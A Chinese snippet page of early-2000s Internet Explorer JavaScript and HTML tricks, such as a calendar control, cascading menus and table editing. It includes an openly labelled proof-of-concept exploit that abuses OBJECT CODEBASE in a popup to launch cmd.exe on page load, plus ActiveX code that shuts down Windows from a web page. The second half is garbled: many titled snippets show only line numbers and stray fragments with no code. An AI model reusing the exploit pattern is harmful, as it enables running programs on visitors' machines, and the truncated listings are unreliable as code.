用IE重起计算机或者关机
代码如下:
<script language="JavaScript">
var Application=new ActiveXObject('Shell.Application.1');
</script>
<button onclick=Application.ShutdownWindows();>关机</button><br>
<button onclick=Application.Suspend();>挂起</button>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript运行客户端exe程序(说明:这只是提供一种思路,不过能不能运行还要看IE的安全设置。)
代码如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
<style type="text/css">
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
</style>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>
var programName=new Array(
'c:/windows/system32/cmd.exe',
'c:/winnt/system32/cmd.exe',
'c:/cmd.exe'
);
function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}
</SCRIPT>
</head>
<BODY onload="Init()">
<H1>Hmm, let's start a command shell...</H1>
<p>
This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
Javascript+HTML仿造VB里的MonthView控件
代码如下:
<html>
<head>
<title>MonthView Demo</title>
<script language=javascript>
/*********************************** 程序功能:日期选择
特点:Javascript+HTML仿造VB里的MonthView控件
作者:ken
联系:boboshu@21cn.com
开发日期:2002-8-5
\***********************************/
var languageName="cn" //内容显示的语言 value:"cn" "en"
var currentMonth,currentYear
var nowDate,nowMonth,nowYear
d=new Date();
nowDate=d.getDate()
nowMonth=d.getMonth()
nowYear=d.getYear()
currentMonth=nowMonth
currentYear=nowYear
arrWeekCaption_cn = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")
arrWeekCaption_en = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
arrMonthCaption_cn= new Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
arrMonthCaption_en= new Array("January","February","March","April","May","June","July","August","September","October","November","December")
function MonthView(){}
/******************************* 初始化控件
\*******************************/
function MonthView.initialize(){
output ='<table cellpadding=0 cellspacing=2 style="border: 1 solid black;width:300;cursor:default" id="tblMonthView" onselectstart="return false">'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=0>'
output+=' <tr style="padding-top:10;padding-bottom:10;background:menu;" id="trCaption">'
output+=' <td><input type="button"value="3" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(\'preview\')"></td>'
output+=' <td align="center"><span id="spanCurrentMonth" style="font-size:12;"></span><span style="padding-left:10;font-size:12" id="spanCurrentYear"></span></td>'
output+=' <td align="right"><input type="button"value="4" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(\'next\')"></td>'
output+=' </tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=2 id="tblShowDay" style="font-size:12">'
output+=' <tr align="center"><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
output+=' <tr><td colspan=7 height="1" style="background:black" id="tdLine"></td></tr>'
output+=' <tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=2 id="tblToday" style="font-size:12">'
output+=' <tr><td width="20"></td><td></td></tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+='</table>'
document.write (output)
//*********当前年、月的显示*********
MonthView.setCurrentCaption()
//*********************************
//*********星期表头的显示*********
MonthView.setWeekCaption()
//*********************************
//*********设置每月的日期*********
MonthView.bulidDay()
//*****************************
//*********显示隐藏今日日期*********
MonthView.setShowHideToday(true)
//*****************************
}
function MonthView.setCurrentCaption(){
spanCurrentYear.innerHTML=currentYear
if (languageName=="cn"){
spanCurrentMonth.innerHTML=arrMonthCaption_cn[currentMonth]
}else{
spanCurrentMonth.innerHTML=arrMonthCaption_en[currentMonth]
}
}
function MonthView.setWeekCaption(){
if (languageName=="cn"){
arrCaption=arrWeekCaption_cn
}else{
arrCaption=arrWeekCaption_en
}
for (var i=0; i<arrCaption.length; i++){
tblShowDay.rows[0].cells[i].innerHTML=arrCaption[i]
}
}
function MonthView.bulidDay(){
arrMonthCount=new Array(31,28,31,30,31,30,31,31,30,31,30,31)
if ((currentYear % 400 ==0) || ((currentYear % 100==0)&&(currentYear % 4==0))){
arrMonthCount[1]=29
}
rowDay=2
while (tblShowDay.rows.length>rowDay){
tblShowDay.deleteRow(rowDay)
}
firstDay=new Date(currentYear,currentMonth,1)
tempRow=tblShowDay.insertRow()
//*********填充当月1号以前的日期*********
for (var j=0 ;j<firstDay.getDay();j++){
tempCell=tempRow.insertCell()
}
//*************************************
for (var i=1 ;i<=arrMonthCount[currentMonth]; i++){
tempCell=tempRow.insertCell()
tempCell.style.textAlign="center"
tempCell.innerHTML=i
tempCell.onclick=MonthView.action
if ((i+firstDay.getDay()) %7 == 0 && i!=arrMonthCount[currentMonth]){tempRow=tblShowDay.insertRow()}
}
}
function MonthView.showCurrentDate(direction){
if (direction=="preview"){
currentMonth--
if (currentMonth<0) {currentMonth=11 ;currentYear--}
}
if (direction=="next"){
currentMonth++
if (currentMonth>11) {currentMonth=0 ;currentYear++}
}
MonthView.setCurrentCaption()
MonthView.bulidDay()
}
function MonthView.setLanguage(itsName){
languageName=itsName
MonthView.setCurrentCaption()
MonthView.setWeekCaption()
MonthView.setShowHideToday(true)
}
function MonthView.setCaptionBg(itsColor){
trCaption.style.background=itsColor
}
function MonthView.setBorder(itsBorder){
tblMonthView.style.border=itsBorder
}
function MonthView.setLineColor(itsColor){
tdLine.style.background=itsColor
}
function MonthView.setShowHideToday(flag){
el=tblToday.rows[0].cells[1]
if (flag){
if (languageName=="cn"){
el.innerHTML="今日:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
}else{
el.innerHTML="Today:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
}
el.style.display="block"
}else{
el.style.display="none"
}
}
function MonthView.action(){
//*********请修改此函数*********
MonthView_value=currentYear+"-"+(currentMonth+1)+"-"+this.innerHTML
alert(MonthView_value)
}
</script>
</head>
<body>
<div>
<script language=javascript>
MonthView.initialize()
</script>
</div>
<br><br>
<table border=1 style="font-size:12;width:95%">
<tr>
<td>方法</td><td>描述</td><td>演示</td>
</tr>
<tr>
<td>MonthView.initialize()</td>
<td>初始化控件</td>
<td><image src="none.gif" width="1" height="1"></td>
</tr>
<tr>
<td>MonthView.setLanguage(<i>par</i>)<br>参数:"cn" "en"</td>
<td>设置控件显示语言</td>
<td>
<input type="button" value="中文" onclick="MonthView.setLanguage('cn')">
<input type="button" value="英文" onclick="MonthView.setLanguage('en')">
</td>
</tr>
<tr>
<td>MonthView.setBorder(<i>par</i>)<br>参数:"边框宽度(int) 边框形状(solid|dot...) 边框颜色"</td>
<td>边框设置</td>
<td>
<input type="button" value="ChangeBorder" onclick="MonthView.setBorder('2 solid darkred')">
</td>
</tr>
<tr>
<td>MonthView.setCaptionBg(<i>par</i>)<br>参数:十六进制颜色代码</td>
<td>设置当前年、月的背景色</td>
<td>
<input type="button" value="INFOBACKGROUND" onclick="MonthView.setCaptionBg('INFOBACKGROUND')">
</td>
</tr>
<tr>
<td>MonthView.setLineColor(<i>par</i>)<br>参数:十六进制颜色代码</td>
<td>设置分割线的颜色</td>
<td>
<input type="button" value="Darkred" onclick="MonthView.setLineColor('darkred')">
</td>
</tr>
<tr>
<td>MonthView.setShowHideToday(<i>par</i>)<br>参数:true|false</td>
<td>显示/隐藏今日日期</td>
<td>
<input type="button" value="Hide" onclick="MonthView.setShowHideToday(false)">
<input type="button" value="Show" onclick="MonthView.setShowHideToday(true)">
</td>
</tr>
</table>
</body>
</html>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
在IE客户端调用windows系统资源
代码如下:
<HTML>
<HEAD>
<TITLE>Start Page</TITLE>
<OBJECT ID="oShell"
CLASSID="clsid:13709620-C279-11CE-A49E-444553540000">
</OBJECT>
<STYLE>
INPUT {width: 200}
</STYLE>
<SCRIPT LANGUAGE="VBScript">
<!--
function fnStart(sMethod)
select case sMethod
case 0
'Minimizes all windows on the desktop
oShell.MinimizeAll
case 1
'Displays the Run dialog box
oShell.FileRun
case 2
'Displays the Shut Down Windows dialog box
oShell.ShutdownWindows
case 3
'Displays the Find dialog box
oShell.FindFiles
case 4
'Displays the Date/Time dialog box
oShell.SetTime
case 5
'Displays the Internet Properties dialog box
oShell.ControlPanelItem "INETCPL.cpl"
case 6
'Explores the My Documents folder
oShell.Explore "C:\My Documents"
case 7
'Enables user to select folder from Program Files
oShell.BrowseForFolder 0, "My Programs", 0, "C:\Program Files"
case 8
'Opens the Favorites folder
oShell.Open "C:\WINDOWS\Favorites"
case 9
'Displays the Taskbar Properties dialog box
oShell.TrayProperties
end select
end function
-->
</SCRIPT>
</HEAD>
<BODY>
<H1>Start...</H1>
<INPUT type="button" value="Edit Taskbar Properties" onclick="fnStart(9)"><br>
<INPUT type="button" value="Open Favorites Folder" onclick="fnStart(8)"><br>
<INPUT type="button" value="Browse Program Files" onclick="fnStart(7)"><br>
<INPUT type="button" value="Explore My Documents" onclick="fnStart(6)"><br>
<INPUT type="button" value="Modify Internet Properties" onclick="fnStart(5)"><br>
<INPUT type="button" value="Set System Time" onclick="fnStart(4)"><br>
<INPUT type="button" value="Find a File or Folder" onclick="fnStart(3)"><br>
<INPUT type="button" value="Shut Down Windows" onclick="fnStart(2)"><br>
<INPUT type="button" value="Run" onclick="fnStart(1)"><br>
<INPUT type="button" value="Minimize All Windows" onclick="fnStart(0)">
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个三级关联菜单的例子
代码如下:
<FORM name="isc">
<table border="0" cellspacing="0" cellpadding="0">
<tr align="center">
<td nowrap height="11">
<select name="example" size="1" onChange="redirect(this.options.selectedIndex)">
<option selected>---Select1-------------</option>
<option>Webmaster Sites</option>
<option>News Sites</option>
</select>
<select name="stage2" size="1" onChange="redirect1(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select2--------------</option>
<option value=" " selected>---Select2--------------</option>
</select>
<select name="stage3" size="1" onChange="redirect2(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select3----------------</option>
<option value=" " selected>---Select3----------------</option>
</select>
<script>
<!--
/*
Triple Combo Script Credit
By Hamid Cheheltani/ Website Abstraction (http://www.wsabstract.com)
Visit http://wsabstract.com for this and over 400+ other scripts
*/
var groups=document.isc.example.options.length
var group=new Array(groups)
for (i=0; i<groups; i++)
group[i]=new Array()
group[0][0]=new Option("---Select2---"," ");
group[1][0]=new Option("Now Select This One"," ");
group[1][1]=new Option("JavaScript","47");
group[1][2]=new Option("DHTML","46");
group[1][3]=new Option("CGI","45");
group[2][0]=new Option("Now Select This One"," ");
group[2][1]=new Option("General News","115");
group[2][2]=new Option("Technology News","116");
var temp=document.isc.stage2
function redirect(x){
for (m=temp.options.length-1;m>0;m--)
temp.options[m]=null
for (i=0;i<group[x].length;i++){
temp.options[i]=new Option(group[x][i].text,group[x][i].value)
}
temp.options[0].selected=true
redirect1(0)
}
var secondGroups=document.isc.stage2.options.length
var secondGroup=new Array(groups)
for (i=0; i<groups; i++) {
secondGroup[i]=new Array(group[i].length)
for (j=0; j<group[i].length; j++) {
secondGroup[i][j]=new Array() }}
secondGroup[0][0][0]=new Option("---Select 3---"," ");
secondGroup[1][0][0]=new Option("---Select 3---"," ");
secondGroup[1][1][0]=new Option("Now Select This One"," ");
secondGroup[1][1][1]=new Option("Website Abstraction","http://wsabstract.com";);
secondGroup[1][1][2]=new Option("JavaScript for the non programmer","http://webteacher.com/javascript/";);
secondGroup[1][1][3]=new Option("Java-Scripts.net","http://java-scripts.net";);
secondGroup[1][2][0]=new Option("Now Select This One"," ");
secondGroup[1][2][1]=new Option("Dynamic Drive","http://www.dynamicdrive.com";);
secondGroup[1][2][2]=new Option("Beginner\'s Guide to DHTML","http://www.geocities.com/ResearchTriangle/Facility/4490/";);
secondGroup[1][2][3]=new Option("Web Coder","http://webcoder.com/";);
secondGroup[1][3][0]=new Option("Now Select This One"," ");
secondGroup[1][3][1]=new Option("CGI Resources","http://www.cgi-resources.com";);
secondGroup[1][3][2]=new Option("Ada\'s Intro to CGI","http://adashimar.hypermart.net/";);
secondGroup[2][0][0]=new Option("---Select 3---"," ");
secondGroup[2][1][0]=new Option("Now Select This One"," ");
secondGroup[2][1][1]=new Option("CNN","http://www.cnn.com";);
secondGroup[2][1][2]=new Option("MSNBC","http://www.msnbc.com";);
secondGroup[2][1][3]=new Option("ABC News","http://www.abcnews.com";);
secondGroup[2][2][0]=new Option("Now Select A Page"," ");
secondGroup[2][2][1]=new Option("News.com","http://www.news.com";);
secondGroup[2][2][2]=new Option("Wired","http://www.wired.com";);
var temp1=document.isc.stage3
function redirect1(y){
for (m=temp1.options.length-1;m>0;m--)
temp1.options[m]=null
for (i=0;i<secondGroup[document.isc.example.options.selectedIndex][y].length;i++){
temp1.options[i]=new Option(secondGroup[document.isc.example.options.selectedIndex][y][i].text,secondGroup[document.isc.example.options.selectedIndex][y][i].value)
}
temp1.options[0].selected=true
}
function redirect2(z){
window.location=temp1[z].value
}
//-->
</script>
</td>
</tr>
</table>
</FORM>
<p><font face="arial" size="-2">This free script provided by</font><br>
<font face="arial, helvetica" size="-2"><a href="http://wsabstract.com";>Website
Abstraction</a></font></p>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一种在父窗口中得知 window.open()出的子窗口关闭事件的方法(定时器实现)
代码如下:
<HTML><BODY>
<P> </P>
<form name=fm_Info>
<input type=text name=txtValue>
</form>
<script language=javascript>
var timer
var winOpen
function IfWindowClosed() {
if (winOpen.closed == true) { document.fm_Info.txtValue.value="child closed"
window.clearInterval(timer)
}
}
</script>
<input type=button name=btnOpen value=open>
<script language=javascript for=btnOpen event=onclick>
document.fm_Info.txtValue.value=""
winOpen=window.open("child.htm","","toolbar=no, location=no, directories=no, status=no, menubar=no" )
timer=window.setInterval("IfWindowClosed()",500);
</script>
</BODY></HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件
代码如下:
<OBJECT id=hhctrl type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
codebase="file:hhctrl.ocx#Version=4,0,0,24"
width=80
height=20>
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Related Topics">
<PARAM name="Item1"
value="EN_CHANGE;jj.xml">
<PARAM name="Item2"
value="WM_COMMAND;jj.Htm">
</OBJECT>
<OBJECT ID=HHCtrl TYPE="application/x-oleobject"
CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
CODEBASE="HHCtrl.ocx#Version=4,73,8259,0">
</OBJECT>
<P>This is a
<A HREF=JavaScript:HHCtrl.TextPopup(MyText,"Verdana,10",9,9,-1,-1)>
pop-up</A>.
</P>
<SCRIPT>MyText="This is how a text pop-up window looks."
</SCRIPT>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
用javascirpt在<TEXTAREA>中插入元素(光标位置)
代码如下:
<HTML>
<HEAD>
<SCRIPT>
function storeCaret (textEl) {
if (textEl.createTextRange)
textEl.caretPos = document.selection.createRange().duplicate();
}
function insertAtCaret (textEl, text) {
if (textEl.createTextRange && textEl.caretPos) {
var caretPos = textEl.caretPos;
caretPos.text =caretPos.text.charAt(caretPos.text.length - 1) == ' ' ?text + ' ' : text;
}
else
textEl.value = text;
}
</SCRIPT>
</HEAD>
<BODY>
<FORM NAME="aForm">
<TEXTAREA NAME="aTextArea" ROWS="5" COLS="80" WRAP="soft" ONSELECT="storeCaret(this);" ONCLICK="storeCaret(this);" ONKEYUP="storeCaret(this);"> 这是例子,你可以在这里添加文字、插入文字。 </TEXTAREA>
<BR>
<INPUT TYPE="text" NAME="aText" SIZE="80" VALUE="我要在光标处插入这些文字"><BR>
<INPUT TYPE="button" VALUE="我要在光标处插入上面文本框里输入的文字!" ONCLICK="insertAtCaret(this.form.aTextArea, this.form.aText.value);">
</FORM>
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个关于新窗口自动调节大小的问题
代码如下:
怎样使弹出的新窗口根据网页内容的多少来自动调节自身大小?
使文字刚好充满窗口,不出现滚动条。<body id=xh topmargin=0 leftmargin=0 marginwidth=0 marginheight=0>
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<script>
window.resizeTo(xh.scrollWidth+20,xh.scrollHeight+150)
</script>
</body>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript动态增加、删除、填充表格内容
代码如下:
<HTML>
<SCRIPT LANGUAGE="JScript">
function numberCells()
{
var count=0;
for (i=0; i < document.all.mytable.rows.length; i++)
{
for (j=0; j < document.all.mytable.rows(i).cells.length; j++)
{
document.all.mytable.rows(i).cells(j).innerText = count;
count++;
}
}
}
function tb_addnew()
{
var ls_t=document.all("mytable")
maxcell=ls_t.rows(0).cells.length;
mynewrow = ls_t.insertRow();
for(i=0;i<maxcell;i++)
{
mynewcell=mynewrow.insertCell();
mynewcell.innerText="a"+i;
}
}
function tb_delete()
{
var ls_t=document.all("mytable");
ls_t.deleteRow() ;
}
</SCRIPT>
<BODY onload="numberCells()">
<TABLE id=mytable border=1>
<TR><TH> </TH><TH> </TH><TH> </TH><TH> </TH></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
</TABLE>
<input type=button value="新增" onclick="tb_addnew()">
<input type=button value="删除" onclick="tb_delete()" >
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
层不能跨框架(包括TEXTAREA)显示的解决办法
代码如下:
这个问题尤其在写菜单的时候经常遇到,即:一个页面内的“层”无论z-index设的多么大,只要遇到框架等便被截了:(
其实解决办法很简单,在要跨框架的层里加入<iframe>即可解决:
<div style="position:absolute;width:140;height:200;z-index:10"><iframe src="menu.asp" width='100%' height='100%'></iframe></div>
<div style="postion:absolute;top:50;width=500;height:500;z-index:1">
<textarea>aaaaaaaaaaa</textarea>
</div>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
object还有其他几种用法
代码如下:
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Minimize">
</object>
最小化窗口
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Maximize">
</object>
最大化窗口
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Restore">
</object>
还原窗口
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
不用询问关闭一个独立的窗口代码
代码如下:
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body>
<input type="button" value="点击我关闭窗口" onclick="closes.Click();">
</body>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
做WEB热键
代码如下:
<html>
<head>
<script language='javascript'>
<!--
function issueCommand(x){
if (document.layers)
{
if (x.which==99||x.which==67)
window.close();
else if (event.keyCode==112||event.keyCode==80)
self.print();
else if (event.keyCode==110||event.keyCode==78)
alert("Sorry, this is the only song in the List");
}
else if (document.all){
if (event.keyCode==99||event.keyCode==67)
window.close();
else if (event.keyCode==112||event.keyCode==80)
self.print();
else if (event.keyCode==110||event.keyCode==78)
alert("Sorry, this is the only song in the List");
}
}
//-->
</script>
</head>
<body>
<script language='javascript'>
<!--
if (document.layers)
document.captureEvents(Event.KEYPRESS);
document.onkeypress=issueCommand
-->
</script>
<font size=6><u>P</u>ress P</font><p>
<font size=6><u>N</u>ext One</font><p>
<font size=6><u>C</u>lose Window</font><p>
</body>
</html>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
按下回车键指向下一个位置的一个函数
1

2

3

4

5

6

7

MD5加密的javascript实现例子
1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

改进的email检查js脚本
1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

判断输入是否为中文的函数
1

2

3

4

5

6

综合的判断用户输入的合法性的函数
1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

按esc键退出的一个函数
1

2

3

4

5

6

7

自动关闭窗口
1

2

3

4

5

6

7

8

9

10

11

12

13


14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

列表框操作函数集合
1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

break;
81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

带进度条的关闭窗口
1

2

3

4

5

br>
6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

利用cookie收藏网站
1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

break;
18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

JavaScript修改注册表
1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

js中,有什么函数可以令数字每千位就加一“,”,还有什么函数可以保留小数后两位
1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35
